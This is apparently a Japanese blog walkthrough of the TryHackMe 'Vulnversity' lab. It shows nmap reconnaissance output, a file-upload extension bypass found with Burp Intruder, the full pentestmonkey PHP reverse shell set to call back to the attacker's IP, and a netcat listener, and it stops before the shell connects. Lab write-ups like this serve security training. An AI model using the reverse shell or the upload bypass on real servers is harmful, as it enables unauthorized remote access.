┌──(hacklab㉿hacklab)-[~]
└─$ nmap -sV 10.10.141.243
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:13 JST
Nmap scan report for 10.10.141.243
Host is up (0.24s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.36 seconds
サービスは、6個ほど動いていることがわかりますね。
Answer
There are many nmap “cheatsheets” online that you can use too.（あなたも使用できる多くのnmap「チートシート」がオンラインにあります。）
Scan the box, how many ports are open?（箱をスキャンして、いくつのポートが開いていますか?）
What version of the squid proxy is running on the machine?（マシンで実行されている squid プロキシのバージョンは?）
How many ports will nmap scan if the flag -p-400 was used?（flag -p-400が使用された場合、nmap はいくつのポートをスキャンしますか?）
┌──(hacklab㉿hacklab)-[~]
└─$ nmap -sV -p-400 10.10.141.243
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:22 JST
Nmap scan report for 10.10.141.243
Host is up (0.24s latency).
Not shown: 397 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds
Using the nmap flag -n what will it not resolve?（nmap flag -nを使用すると、 何が解決されないのでしょうか?）
What is the most likely operating system this machine is running?（このマシンで実行されている可能性が最も高いオペレーティング システムは何ですか?）
┌──(hacklab㉿hacklab)-[~]
└─$ sudo nmap -sV -O 10.10.141.243 1 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:45 JST
Nmap scan report for 10.10.141.243
Host is up (0.24s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=4/19%OT=21%CT=1%CU=36437%PV=Y%DS=2%DC=I%G=Y%TM=643FE27
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST1
OS:1NW7%O6=M506ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
OS:(R=Y%DF=Y%T=40%W=6903%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.07 seconds
What port is the web server running on?（Web サーバーはどのポートで実行されていますか?）
Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background) （進行する前に、常に徹底的に偵察を行っていることを確認することが重要です。開いているすべてのサービス (すべてが悪用される可能性があります) を把握することは非常に重要です。より高い範囲のポートが開いている可能性があることを忘れないでください。そのため、常に 1000 以降のポートをスキャンします (スキャンをバックグラウンドで行った場合でも)。）
Locating directories using GoBuster（GoBuster を使用したディレクトリの検索）
What is the directory that has an upload form page?（アップロード フォーム ページがあるディレクトリは何ですか?）
Compromise the webserver（ウェブサーバーを侵害する）
ファイルをアップロードするページが見つかったので、これを利用してみようと思います。
Answer
What common file type, which you’d want to upload to exploit the server, is blocked? Try a couple to find out.（サーバーを悪用するためにアップロードしたい一般的なファイルの種類のうち、ブロックされているものはどれですか? いくつか試してみてください。）
これは、よくわかりませんでした。。。色々探した結果、.phpが答えだったようです。
Burp Suiteのintruderを使って、PHPを実行できる拡張子を探してみます。 Intercept is onにして、アップロードします。
┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity]
└─$ cat php-reverse-shell.phtml
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.18.110.90'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
ファイルをアップロードする前に、1234でリッスンしておきましょう。
┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
ポチップ
